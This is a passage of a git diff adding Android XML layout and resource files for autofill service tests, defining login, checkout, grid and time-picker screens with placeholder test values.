+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:id="@+id/rootContainer" />
diff --git a/tests/autofillservice/res/layout/fragment_with_edittext.xml b/tests/autofillservice/res/layout/fragment_with_edittext.xml
new file mode 100644
index 0000000..e0d4584
--- /dev/null
+++ b/tests/autofillservice/res/layout/fragment_with_edittext.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <EditText android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:id="@+id/editText1" />
+
+    <EditText android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:id="@+id/editText2" />
+</LinearLayout>
diff --git a/tests/autofillservice/res/layout/fragment_with_more_edittexts.xml b/tests/autofillservice/res/layout/fragment_with_more_edittexts.xml
new file mode 100644
index 0000000..f058e13
--- /dev/null
+++ b/tests/autofillservice/res/layout/fragment_with_more_edittexts.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  * Copyright (C) 2017 The Android Open Source Project
+  *
+  * Licensed under the Apache License, Version 2.0 (the "License");
+  * you may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at
+  *
+  *      http://www.apache.org/licenses/LICENSE-2.0
+  *
+  * Unless required by applicable law or agreed to in writing, software
+  * distributed under the License is distributed on an "AS IS" BASIS,
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <EditText android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:id="@+id/editText3" />
+
+    <EditText android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:id="@+id/editText4" />
+
+    <EditText android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:id="@+id/editText5" />
+</LinearLayout>
diff --git a/tests/autofillservice/res/layout/grid_activity.xml b/tests/autofillservice/res/layout/grid_activity.xml
new file mode 100644
index 0000000..2ad125c
--- /dev/null
+++ b/tests/autofillservice/res/layout/grid_activity.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <GridLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal"
+        android:columnCount="4"
+        android:rowCount="4" >
+
+        <TextView android:text="l1c1"/><EditText android:maxLength="6" android:id="@+id/l1c1" />
+        <TextView android:text="l1c2"/><EditText android:maxLength="6" android:id="@+id/l1c2" />
+
+        <TextView android:text="l2c1"/><EditText android:maxLength="6" android:id="@+id/l2c1" />
+        <TextView android:text="l2c2"/><EditText android:maxLength="6" android:id="@+id/l2c2" />
+
+        <TextView android:text="l3c1"/><EditText android:maxLength="6" android:id="@+id/l3c1" />
+        <TextView android:text="l3c2"/><EditText android:maxLength="6" android:id="@+id/l3c2" />
+
+        <TextView android:text="l4c1"/><EditText android:maxLength="6" android:id="@+id/l4c1" />
+        <TextView android:text="l4c2"/><EditText android:maxLength="6" android:id="@+id/l4c2" />
+
+    </GridLayout>
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="horizontal" >
+
+            <Button
+                android:id="@+id/save"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="Save" />
+            <Button
+                android:id="@+id/clear"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="Clear" />
+
+        </LinearLayout>
+
+</LinearLayout>
diff --git a/tests/autofillservice/res/layout/initialized_checkout_activity.xml b/tests/autofillservice/res/layout/initialized_checkout_activity.xml
new file mode 100644
index 0000000..62d4e95
--- /dev/null
+++ b/tests/autofillservice/res/layout/initialized_checkout_activity.xml
@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/cc_number_label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="CC Number" />
+
+        <EditText
+            android:id="@+id/cc_number"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="4815162342" />
+            />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/cc_expiration_label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Expiration" />
+
+        <Spinner
+            android:id="@+id/cc_expiration"
+            android:layout_width="fill_parent"
+            android:layout_height="wrap_content"
+            />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/address_label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Address" />
+
+        <RadioGroup
+            android:id="@+id/address"
+            android:layout_width="fill_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical"
+            android:checkedButton="@+id/home_address">
+
+            <RadioButton
+                android:id="@+id/home_address"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="Home"/>
+
+            <RadioButton
+                android:id="@+id/work_address"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="Work" />
+        </RadioGroup>
+    </LinearLayout>
+
+    <CheckBox
+        android:id="@+id/save_cc"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="Save CC?"
+        android:checked="true"/>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <Button
+            android:id="@+id/clear"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Clear" />
+
+        <Button
+            android:id="@+id/buy"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Buy it" />
+    </LinearLayout>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/list_item.xml b/tests/autofillservice/res/layout/list_item.xml
new file mode 100644
index 0000000..d7f0875
--- /dev/null
+++ b/tests/autofillservice/res/layout/list_item.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/text1"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent"
+    android:textAppearance="?android:attr/textAppearanceListItemSmall"
+    android:gravity="center_vertical"
+    android:paddingStart="?android:attr/listPreferredItemPaddingStart"
+    android:paddingEnd="?android:attr/listPreferredItemPaddingEnd"
+    android:minHeight="?android:attr/listPreferredItemHeightSmall"
+    android:background="#ffffffff">
+</TextView>
diff --git a/tests/autofillservice/res/layout/login_activity.xml b/tests/autofillservice/res/layout/login_activity.xml
new file mode 100644
index 0000000..e16d1c4
--- /dev/null
+++ b/tests/autofillservice/res/layout/login_activity.xml
@@ -0,0 +1,104 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <LinearLayout
+        android:id="@+id/username_container"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/username_label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Username" />
+
+        <EditText
+            android:id="@+id/username"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/password_label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Password" />
+
+        <EditText
+            android:id="@+id/password"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:inputType="textPassword"/>
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <Button
+            android:id="@+id/clear"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Clear" />
+
+        <Button
+            android:id="@+id/save"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Save" />
+
+        <Button
+            android:id="@+id/login"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Login" />
+
+        <Button
+            android:id="@+id/cancel"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Cancel" />
+    </LinearLayout>
+
+    <TextView
+        android:id="@+id/output"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/nested_layout.xml b/tests/autofillservice/res/layout/nested_layout.xml
new file mode 100644
index 0000000..d81927a
--- /dev/null
+++ b/tests/autofillservice/res/layout/nested_layout.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/container"
+    android:layout_width="match_parent" android:layout_height="match_parent"
+    android:orientation="vertical">
+
+    <EditText android:id="@+id/field" android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+</LinearLayout>
diff --git a/tests/autofillservice/res/layout/optional_save_activity.xml b/tests/autofillservice/res/layout/optional_save_activity.xml
new file mode 100644
index 0000000..a2c7a60
--- /dev/null
+++ b/tests/autofillservice/res/layout/optional_save_activity.xml
@@ -0,0 +1,108 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Address 1" />
+
+        <EditText
+            android:id="@+id/address1"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Address 2" />
+
+        <EditText
+            android:id="@+id/address2"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="City" />
+
+        <EditText
+            android:id="@+id/city"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Favorite color" />
+
+        <EditText
+            android:id="@+id/favorite_color"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <Button
+            android:id="@+id/clear"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Clear" />
+
+        <Button
+            android:id="@+id/save"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Save" />
+    </LinearLayout>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/pre_filled_login_activity.xml b/tests/autofillservice/res/layout/pre_filled_login_activity.xml
new file mode 100644
index 0000000..77d94dc
--- /dev/null
+++ b/tests/autofillservice/res/layout/pre_filled_login_activity.xml
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <LinearLayout
+        android:id="@+id/username_container"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/username_label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Username" />
+
+        <EditText
+            android:id="@+id/username"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="secret_agent" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:id="@+id/password_label"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Password" />
+
+        <EditText
+            android:id="@+id/password"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:inputType="textPassword"
+            android:text="T0p S3cr3t" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <Button
+            android:id="@+id/clear"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Clear" />
+
+        <Button
+            android:id="@+id/save"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Save" />
+
+        <Button
+            android:id="@+id/login"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Login" />
+
+        <Button
+            android:id="@+id/cancel"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Cancel" />
+    </LinearLayout>
+
+    <TextView
+        android:id="@+id/output"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/single_button_activity.xml b/tests/autofillservice/res/layout/single_button_activity.xml
new file mode 100644
index 0000000..9c68b98
--- /dev/null
+++ b/tests/autofillservice/res/layout/single_button_activity.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <Button android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="press me"
+        android:id="@+id/button" />
+</LinearLayout>
diff --git a/tests/autofillservice/res/layout/time_picker_clock_activity.xml b/tests/autofillservice/res/layout/time_picker_clock_activity.xml
new file mode 100644
index 0000000..401e1774
--- /dev/null
+++ b/tests/autofillservice/res/layout/time_picker_clock_activity.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <EditText
+        android:id="@+id/output"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+    <TimePicker
+        android:id="@+id/time_picker"
+        android:timePickerMode="clock"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+    <Button
+        android:id="@+id/ok"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="OK" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/time_picker_spinner_activity.xml b/tests/autofillservice/res/layout/time_picker_spinner_activity.xml
new file mode 100644
index 0000000..eb18882
--- /dev/null
+++ b/tests/autofillservice/res/layout/time_picker_spinner_activity.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <EditText
+        android:id="@+id/output"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content" />
+
+    <TimePicker
+        android:id="@+id/time_picker"
+        android:timePickerMode="spinner"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+    <Button
+        android:id="@+id/ok"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="OK" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/layout/view_attribute_test_activity.xml b/tests/autofillservice/res/layout/view_attribute_test_activity.xml
new file mode 100644
index 0000000..d03d65c
--- /dev/null
+++ b/tests/autofillservice/res/layout/view_attribute_test_activity.xml
@@ -0,0 +1,92 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical"
+    android:id="@+id/rootContainer">
+    <EditText android:id="@+id/editTextNoHint"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content" />
+
+    <EditText android:id="@+id/editTextHintCustom"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:autofillHints="@string/new_password_label" />
+
+    <EditText android:id="@+id/editTextPassword"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:autofillHints="password" />
+
+    <EditText android:id="@+id/editTextPhoneName"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:autofillHints=" phone, username     " />
+
+    <EditText android:id="@+id/editTextHintsFromArray"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:autofillHints="@array/cc_expiration_values" />
+
+    <!-- Use px instead of dp to not have to deal with screen resolution -->
+    <LinearLayout android:id="@+id/outerView"
+        android:layout_height="wrap_content"
+        android:layout_width="wrap_content"
+        android:paddingTop="2px"
+        android:paddingBottom="5px"
+        android:paddingLeft="7px"
+        android:paddingRight="3px"
+        android:orientation="vertical"
+        android:background="#F00"
+        android:importantForAutofill="yes">
+        <LinearLayout android:id="@+id/nestedView"
+            android:layout_height="wrap_content"
+            android:layout_width="wrap_content"
+            android:paddingTop="11px"
+            android:paddingBottom="17px"
+            android:paddingLeft="19px"
+            android:paddingRight="13px"
+            android:orientation="vertical"
+            android:background="#0F0"
+            android:importantForAutofill="no">
+            <LinearLayout android:id="@+id/doubleNestedView"
+                android:layout_height="wrap_content"
+                android:layout_width="wrap_content"
+                android:paddingTop="23px"
+                android:paddingBottom="31px"
+                android:paddingLeft="37px"
+                android:paddingRight="29px"
+                android:orientation="vertical"
+                android:background="#00F"
+                android:importantForAutofill="yes">
+                <EditText android:id="@+id/tripleNestedView"
+                    android:layout_height="41px"
+                    android:layout_width="43px"
+                    android:background="#FF0"
+                    android:importantForAutofill="yes" />
+            </LinearLayout>
+
+            <EditText android:id="@+id/secondDoubleNestedView"
+                android:layout_height="47px"
+                android:layout_width="53px"
+                android:background="#F0F"
+                android:importantForAutofill="yes" />
+        </LinearLayout>
+    </LinearLayout>
+</LinearLayout>
diff --git a/tests/autofillservice/res/layout/virtual_container_activity.xml b/tests/autofillservice/res/layout/virtual_container_activity.xml
new file mode 100644
index 0000000..2596fbb
--- /dev/null
+++ b/tests/autofillservice/res/layout/virtual_container_activity.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<android.autofillservice.cts.VirtualContainerView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:id="@+id/virtual_container_view"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent"
+/>
diff --git a/tests/autofillservice/res/layout/welcome_activity.xml b/tests/autofillservice/res/layout/welcome_activity.xml
new file mode 100644
index 0000000..292aacd
--- /dev/null
+++ b/tests/autofillservice/res/layout/welcome_activity.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="wrap_content"
+    android:layout_height="match_parent"
+    android:orientation="vertical" >
+
+    <TextView
+        android:id="@+id/output"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Welcome to the jungle!" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/autofillservice/res/values/strings.xml b/tests/autofillservice/res/values/strings.xml
new file mode 100644
index 0000000..8720a71
--- /dev/null
+++ b/tests/autofillservice/res/values/strings.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+     Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
